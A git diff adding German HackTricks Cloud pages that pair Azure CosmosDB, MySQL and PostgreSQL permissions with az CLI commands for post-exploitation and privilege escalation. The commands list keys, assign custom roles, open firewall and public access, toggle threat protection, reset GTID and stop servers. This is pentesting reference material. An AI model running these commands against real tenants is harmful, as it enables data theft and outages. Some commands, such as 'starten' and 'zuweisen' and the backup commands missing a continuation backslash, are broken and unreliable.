+* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
+
+
+{% endhint %}
+
+## CosmosDB Post Exploitation
+Für weitere Informationen zur SQL-Datenbank siehe:
+
+{% content-ref url="../az-services/az-cosmosDB.md" %}
+[az-cosmosDB.md](../az-services/az-cosmosDB.md)
+{% endcontent-ref %}
+
+
+### "Microsoft.DocumentDB/databaseAccounts/read" && "Microsoft.DocumentDB/databaseAccounts/write"
+Mit dieser Berechtigung kannst du Azure Cosmos DB-Konten erstellen oder aktualisieren. Dies umfasst die Änderung von kontobezogenen Einstellungen, das Hinzufügen oder Entfernen von Regionen, das Ändern von Konsistenzstufen und das Aktivieren oder Deaktivieren von Funktionen wie Multi-Region-Schreibvorgängen.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb update \
+--name \
+--resource-group \
+--public-network-access ENABLED
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/read" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/write"
+Mit dieser Berechtigung können Sie Container (Sammlungen) innerhalb einer SQL-Datenbank eines Azure Cosmos DB-Kontos erstellen oder ändern. Container werden verwendet, um Daten zu speichern, und Änderungen an ihnen können die Struktur und Zugriffsarten der Datenbank beeinflussen.
+
+{% code overflow="wrap" %}
+```bash
+# Create
+az cosmosdb sql container create \
+--account-name \
+--resource-group \
+--database-name \
+--name \
+--partition-key-path
+
+#Update
+az cosmosdb sql container update \
+--account-name \
+--resource-group \
+--database-name \
+--name \
+--ttl 3600
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read"
+Mit dieser Berechtigung können Sie SQL-Datenbanken innerhalb eines Azure Cosmos DB-Kontos erstellen oder ändern. Dies ermöglicht die Verwaltung der Datenbankstruktur und das Hinzufügen neuer Datenbanken zum Konto. Während diese Berechtigung die Erstellung von Datenbanken ermöglicht, könnte unsachgemäße oder unbefugte Nutzung zu unnötigem Ressourcenverbrauch, erhöhten Kosten oder betrieblichen Ineffizienzen führen.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql database create \
+--account-name \
+--resource-group \
+--name
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/failoverPriorityChange/action"
+
+Mit dieser Berechtigung können Sie die Failover-Priorität von Regionen für ein Azure Cosmos DB-Datenbankkonto ändern. Diese Aktion bestimmt die Reihenfolge, in der Regionen während eines Failover-Ereignisses primär werden. Unsachgemäße Verwendung dieser Berechtigung kann die hohe Verfügbarkeit der Datenbank stören oder unbeabsichtigte betriebliche Auswirkungen haben.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb failover-priority-change \
+--name \
+--resource-group \
+--failover-policies
+
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/regenerateKey/action"
+Mit dieser Berechtigung können Sie die primären oder sekundären Schlüssel für ein Azure Cosmos DB-Konto regenerieren. Dies wird typischerweise verwendet, um die Sicherheit zu erhöhen, indem alte Schlüssel ersetzt werden, kann jedoch den Zugriff auf Dienste oder Anwendungen stören, die auf die aktuellen Schlüssel angewiesen sind.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb keys regenerate \
+--name \
+--resource-group \
+--key-kind
+
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/userDefinedFunctions/read"
+
+Mit dieser Berechtigung können Sie Trigger innerhalb eines Containers einer SQL-Datenbank in einem Azure Cosmos DB-Konto erstellen oder ändern. Trigger ermöglichen es Ihnen, serverseitige Logik als Reaktion auf Operationen auszuführen.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql trigger create \
+--account-name \
+--resource-group \
+--database-name \
+--container-name \
+--name \
+--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
+--type Pre \
+--operation All
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/storedProcedures/read"
+Mit dieser Berechtigung können Sie gespeicherte Prozeduren innerhalb eines Containers einer SQL-Datenbank in einem Azure Cosmos DB-Konto erstellen oder ändern. Gespeicherte Prozeduren in Cosmos DB sind serverseitige JavaScript-Funktionen, die es Ihnen ermöglichen, Logik zur Verarbeitung von Daten oder zur Durchführung von Operationen direkt innerhalb der Datenbank zu kapseln.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql stored-procedure create \
+--account-name \
+--resource-group \
+--database-name \
+--container-name \
+--name \
+--body 'function sample() { return "Hello, Cosmos!"; }'
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write" && "Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read"
+Mit dieser Berechtigung können Sie Trigger innerhalb eines Containers einer SQL-Datenbank in einem Azure Cosmos DB-Konto erstellen oder ändern. Trigger ermöglichen es Ihnen, serverseitige Logik als Reaktion auf Operationen wie Einfügungen, Aktualisierungen oder Löschungen auszuführen.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql trigger create \
+--account-name \
+--resource-group \
+--database-name \
+--container-name \
+--name \
+--body 'function trigger() { var context = getContext(); var request = context.getRequest(); request.setBody("Triggered operation!"); }' \
+--type Pre \
+--operation All
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/read" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/collections/write"
+Mit dieser Berechtigung können Sie Sammlungen innerhalb von MongoDB-Datenbanken in einem Azure Cosmos DB-Konto erstellen oder ändern. Sammlungen werden verwendet, um Dokumente zu speichern und die Struktur sowie die Partitionierung für Daten zu definieren.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb mongodb collection create \
+--account-name \
+--resource-group \
+--database-name \
+--name
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbDatabases/read"
+Mit dieser Berechtigung können Sie neue MongoDB-Datenbanken innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Bereitstellung neuer Datenbanken zum Speichern und Verwalten von Sammlungen und Dokumenten.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb mongodb database create \
+--account-name \
+--resource-group \
+--name
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbRoleDefinitions/read"
+Mit dieser Berechtigung können Sie neue MongoDB-Rollen-Definitionen innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Definition benutzerdefinierter Rollen mit spezifischen Berechtigungen für MongoDB-Benutzer.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb mongodb role definition create \
+--account-name \
+--resource-group \
+--body '{
+"Id": ".readWriteRole",
+"RoleName": "readWriteRole",
+"Type": "CustomRole",
+"DatabaseName": "",
+"Privileges": [
+{
+"Resource": {
+"Db": "",
+"Collection": "mycollection"
+},
+"Actions": [
+"insert",
+"find",
+"update"
+]
+}
+],
+"Roles": []
+}'
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/write" && "Microsoft.DocumentDB/databaseAccounts/mongodbUserDefinitions/read"
+Mit dieser Berechtigung können Sie neue MongoDB-Benutzerdefinitionen innerhalb eines Azure Cosmos DB-Kontos erstellen. Dies ermöglicht die Bereitstellung von Benutzern mit spezifischen Rollen und Zugriffslevels auf MongoDB-Datenbanken.
+{% code overflow="wrap" %}
+```bash
+az cosmosdb mongodb user definition create \
+--account-name \
+--resource-group \
+--body '{
+"Id": ".myUser",
+"UserName": "myUser",
+"Password": "mySecurePassword",
+"DatabaseName": "",
+"CustomData": "TestCustomData",
+"Mechanisms": "SCRAM-SHA-256",
+"Roles": [
+{
+"Role": "readWriteRole",
+"Db": ""
+}
+]
+}'
+```
+{% endcode %}
+
+{% hint style="success" %}
+Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Unterstütze HackTricks
+
+* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
new file mode 100644
index 000000000..530857c79
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md
@@ -0,0 +1,167 @@
+# Az - MySQL Post Exploitation
+
+{% hint style="success" %}
+Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
+
+
+{% endhint %}
+
+## MySQL-Datenbank Post-Exploitation
+Für weitere Informationen zur MySQL-Datenbank siehe:
+
+{% content-ref url="../az-services/az-mysql.md" %}
+[az-mysql.md](../az-services/az-mysql.md)
+{% endcontent-ref %}
+
+### "Microsoft.DBforMySQL/flexibleServers/databases/write" && "Microsoft.DBforMySQL/flexibleServers/databases/read"
+
+Mit dieser Berechtigung kannst du neue Datenbanken innerhalb einer MySQL Flexible Server-Instanz auf Azure erstellen. Während diese Aktion selbst keine bestehenden Ressourcen ändert, könnte eine übermäßige oder unbefugte Erstellung von Datenbanken zu Ressourcenverbrauch oder potenziellem Missbrauch des Servers führen.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server db create \
+--server-name \
+--resource-group \
+--database-name
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/backups/write"
+
+Mit dieser Berechtigung können Sie die Erstellung von Backups für eine MySQL Flexible Server-Instanz auf Azure initiieren. Dies ermöglicht es Benutzern, On-Demand-Backups zu erstellen, die nützlich sein können, um Daten zu bestimmten Zeitpunkten zu sichern.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server backup create \
+--name \
+--resource-group
+--backup-name
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/advancedThreatProtectionSettings/write"
+
+Mit dieser Berechtigung können Sie die Einstellungen für den Advanced Threat Protection (ATP) für eine MySQL Flexible Server-Instanz auf Azure konfigurieren oder aktualisieren. Dies ermöglicht das Aktivieren oder Deaktivieren von Sicherheitsfunktionen, die darauf ausgelegt sind, anomale Aktivitäten und potenzielle Bedrohungen zu erkennen und darauf zu reagieren.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server threat-protection-policy update \
+--name \
+--resource-group \
+--state
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/firewallRules/write"
+
+Mit dieser Berechtigung können Sie Firewallregeln für eine MySQL Flexible Server-Instanz auf Azure erstellen oder ändern. Dies ermöglicht die Kontrolle darüber, welche IP-Adressen oder -Bereiche auf den Server zugreifen können. Unbefugte oder unsachgemäße Nutzung dieser Berechtigung könnte den Server unerwünschtem oder böswilligem Zugriff aussetzen.
+
+{% code overflow="wrap" %}
+```bash
+# Create Rule
+az mysql flexible-server firewall-rule create \
+--name \
+--resource-group \
+--rule-name \
+--start-ip-address \
+--end-ip-address
+
+# Update Rule
+az mysql flexible-server firewall-rule update \
+--name \
+--resource-group \
+--rule-name \
+--start-ip-address \
+--end-ip-address
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/resetGtid/action"
+
+Mit dieser Berechtigung können Sie die GTID (Global Transaction Identifier) für eine MySQL Flexible Server-Instanz auf Azure zurücksetzen. Das Zurücksetzen der GTID macht alle automatisierten, bedarfsorientierten Backups und Geo-Backups, die vor der Rücksetzaktion erstellt wurden, ungültig. Nach dem Zurücksetzen der GTID können Sie keine PITR (Point-in-Time-Restore) mit dem schnellsten Wiederherstellungspunkt oder durch einen benutzerdefinierten Wiederherstellungspunkt durchführen, wenn die ausgewählte Wiederherstellungszeit vor der GTID-Rücksetzzeit liegt. Und eine erfolgreiche Geo-Wiederherstellung ist erst nach 5 Tagen möglich.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server reset-gtid \
+--name \
+--resource-group \
+--gtid-set
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/updateConfigurations/action"
+
+Mit dieser Berechtigung können Sie die Konfigurationseinstellungen einer MySQL Flexible Server-Instanz auf Azure aktualisieren. Dies ermöglicht die Anpassung von Serverparametern wie Leistungstuning, Sicherheitskonfigurationen oder Betriebseinstellungen. Sie können die folgenden Parameter zusammen in einem Batch aktualisieren: audit_log_enabled, audit_log_events, binlog_expire_logs_seconds, binlog_row_image, character_set_server, collation_server, connect_timeout, enforce_gtid_consistency, gtid_mode, init_connect, innodb_buffer_pool_size, innodb_io_capacity, innodb_io_capacity_max, innodb_purge_threads, innodb_read_io_threads, innodb_thread_concurrency, innodb_write_io_threads, long_query_time, max_connect_errors und max_connections.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server parameter set-batch \
+--resource-group \
+--server-name \
+--args max_connections=
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+
+Mit dieser Berechtigung können Sie eine benutzerdefinierte verwaltete Identität für MySQL flexible Server zuweisen.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server identity assign \
+--resource-group \
+--server-name \
+--identity
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/stop/action"
+
+Mit dieser Berechtigung können Sie eine PostgreSQL Flexible Server-Instanz auf Azure stoppen. Das Stoppen eines Servers kann zu vorübergehenden Dienstunterbrechungen führen, die Anwendungen und Benutzer betreffen, die von der Datenbank abhängig sind.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server stop \
+--name \
+--resource-group
+```
+{% endcode %}
+
+### "Microsoft.DBforMySQL/flexibleServers/start/action"
+With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
+
+{% code overflow="wrap" %}
+```bash
+az mysql flexible-server start \
+--name \
+--resource-group
+```
+{% endcode %}
+
+### "*/delete"
+
+With this permissions you can delete resources related to mysql server in Azure such as server, firewalls, managed identities or configurations
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
new file mode 100644
index 000000000..099319505
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md
@@ -0,0 +1,155 @@
+# Az - PostgreSQL Post Exploitation
+
+{% hint style="success" %}
+Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
+
+
+{% endhint %}
+
+## PostgreSQL-Datenbank Post-Exploitation
+Für weitere Informationen zur PostgreSQL-Datenbank siehe:
+
+{% content-ref url="../az-services/az-postgresql.md" %}
+[az-postgresql.md](../az-services/az-postgresql.md)
+{% endcontent-ref %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/databases/write" && "Microsoft.DBforPostgreSQL/flexibleServers/databases/read"
+
+Mit dieser Berechtigung kannst du neue Datenbanken innerhalb einer Postgres Flexible Server-Instanz auf Azure erstellen. Während diese Aktion selbst keine bestehenden Ressourcen ändert, könnte eine übermäßige oder unbefugte Erstellung von Datenbanken zu Ressourcenverbrauch oder potenziellem Missbrauch des Servers führen.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server db create \
+--server-name \
+--resource-group \
+--database-name
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/backups/write"
+
+Mit dieser Berechtigung können Sie die Erstellung von Backups für eine Postgres Flexible Server-Instanz auf Azure initiieren. Dies ermöglicht es Benutzern, On-Demand-Backups zu erstellen, die nützlich sein können, um Daten zu bestimmten Zeitpunkten zu sichern.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server backup create \
+--name \
+--resource-group
+--backup-name
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write" && "Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read"
+
+Mit dieser Berechtigung können Sie die Einstellungen für den Advanced Threat Protection (ATP) für eine Postgres Flexible Server-Instanz auf Azure konfigurieren oder aktualisieren. Dies ermöglicht das Aktivieren oder Deaktivieren von Sicherheitsfunktionen, die darauf ausgelegt sind, anomale Aktivitäten und potenzielle Bedrohungen zu erkennen und darauf zu reagieren.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server threat-protection-policy update \
+--name \
+--resource-group \
+--state
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write", "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read"
+
+Mit dieser Berechtigung können Sie Firewallregeln für eine Postgres Flexible Serverinstanz auf Azure erstellen oder ändern. Dies ermöglicht die Kontrolle darüber, welche IP-Adressen oder -Bereiche auf den Server zugreifen können. Unbefugte oder unsachgemäße Nutzung dieser Berechtigung könnte den Server unerwünschtem oder böswilligem Zugriff aussetzen.
+
+{% code overflow="wrap" %}
+```bash
+# Create Rule
+az postgres flexible-server firewall-rule create \
+--name \
+--resource-group \
+--rule-name \
+--start-ip-address \
+--end-ip-address
+
+# Update Rule
+az postgres flexible-server firewall-rule update \
+--name \
+--resource-group \
+--rule-name \
+--start-ip-address \
+--end-ip-address
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/configurations/write" && "Microsoft.DBforPostgreSQL/flexibleServers/configurations/read"
+
+Mit dieser Berechtigung können Sie die Konfigurationseinstellungen einer Postgres Flexible Server-Instanz auf Azure aktualisieren. Dies ermöglicht die Anpassung von Serverparametern wie Leistungstuning, Sicherheitskonfigurationen oder Betriebseinstellungen.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server parameter set \
+--resource-group \
+--server-name \
+--name \
+--value
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/stop/action"
+
+Mit dieser Berechtigung können Sie eine PostgreSQL Flexible Server-Instanz auf Azure stoppen. Das Stoppen eines Servers kann zu vorübergehenden Dienstunterbrechungen führen, die Anwendungen und Benutzer betreffen, die von der Datenbank abhängig sind.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server stop \
+--name \
+--resource-group
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/start/action"
+With this permission, you can start a stopped PostgreSQL Flexible Server instance on Azure. Starting a server restores its availability, enabling applications and users to reconnect and access the database.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server starten \
+--name \
+--resource-group
+```
+{% endcode %}
+
+### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action"
+
+With this permission, you can assign a user-assigned managed identity to postgres flexible servers.
+
+{% code overflow="wrap" %}
+```bash
+az postgres flexible-server identity zuweisen \
+--resource-group \
+--server-name \
+--identity
+```
+{% endcode %}
+
+### "*/delete"
+With this permissions you can delete resources related to postgres server in Azure such as server, firewalls, managed identities or configurations
+
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
new file mode 100644
index 000000000..b6a316c67
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
@@ -0,0 +1,93 @@
+# Az - CosmosDB Privesc
+
+{% hint style="success" %}
+Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
+
+
+{% endhint %}
+
+## CosmosDB Privesc
+Für weitere Informationen zur SQL-Datenbank siehe:
+
+{% content-ref url="../az-services/az-cosmosDB.md" %}
+[az-cosmosDB.md](../az-services/az-cosmosDB.md)
+{% endcontent-ref %}
+
+### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
+
+Mit diesen Berechtigungen kannst du Privilegien eskalieren, indem du einem Benutzer die Berechtigungen gibst, Abfragen auszuführen und eine Verbindung zur Datenbank herzustellen. Zuerst wird eine Rollendefinition erstellt, die die notwendigen Berechtigungen und Bereiche gewährt.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql role definition create \
+--account-name \
+--resource-group \
+--body '{
+"Id": "", # For example 12345678-1234-1234-1234-123456789az
+"RoleName": "CustomReadRole",
+"Type": "CustomRole",
+"AssignableScopes": [
+"/subscriptions//resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/"
+],
+"Permissions": [
+{
+"DataActions": [
+"Microsoft.DocumentDB/databaseAccounts/readMetadata",
+"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
+"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
+]
+}
+]
+}'
+```
+{% endcode %}
+
+Danach wird die Zuweisung der Definition an einen Benutzer vorgenommen. Danach kann dieser Benutzer die DefaultAzureCredential() Verbindungsmethode verwenden, um Abfragen auszuführen.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb sql role assignment create \
+--account-name \
+--resource-group \
+--role-definition-id \
+--principal-id \
+--scope "/"
+```
+{% endcode %}
+
+### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
+Mit dieser Berechtigung können Sie die primären und sekundären Schlüssel für ein Azure Cosmos DB-Konto abrufen. Diese Schlüssel bieten vollen Zugriff auf das Datenbankkonto und seine Ressourcen, wodurch Aktionen wie Datenlesungen, -schreibungen und Konfigurationsänderungen ermöglicht werden.
+
+{% code overflow="wrap" %}
+```bash
+az cosmosdb keys list \
+--name \
+--resource-group
+
+```
+{% endcode %}
+
+
+{% hint style="success" %}
+Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Unterstützen Sie HackTricks
+
+* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
+
+
+{% endhint %}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
new file mode 100644
index 000000000..fd08afe00
--- /dev/null
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
@@ -0,0 +1,91 @@
+# Az - MySQL-Datenbank-Privesc
+
+{% hint style="success" %}
+Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Unterstütze HackTricks
+
+* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
+* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
+* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest.
+
+
+{% endhint %}
+
+## MySQL-Datenbank-Privesc
+Für weitere Informationen zur SQL-Datenbank siehe:
+
+{% content-ref url="../az-services/az-mysql.md" %}
+[az-mysql.md](../az-services/az-mysql.md)
+{% endcontent-ref %}
+
+### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
+
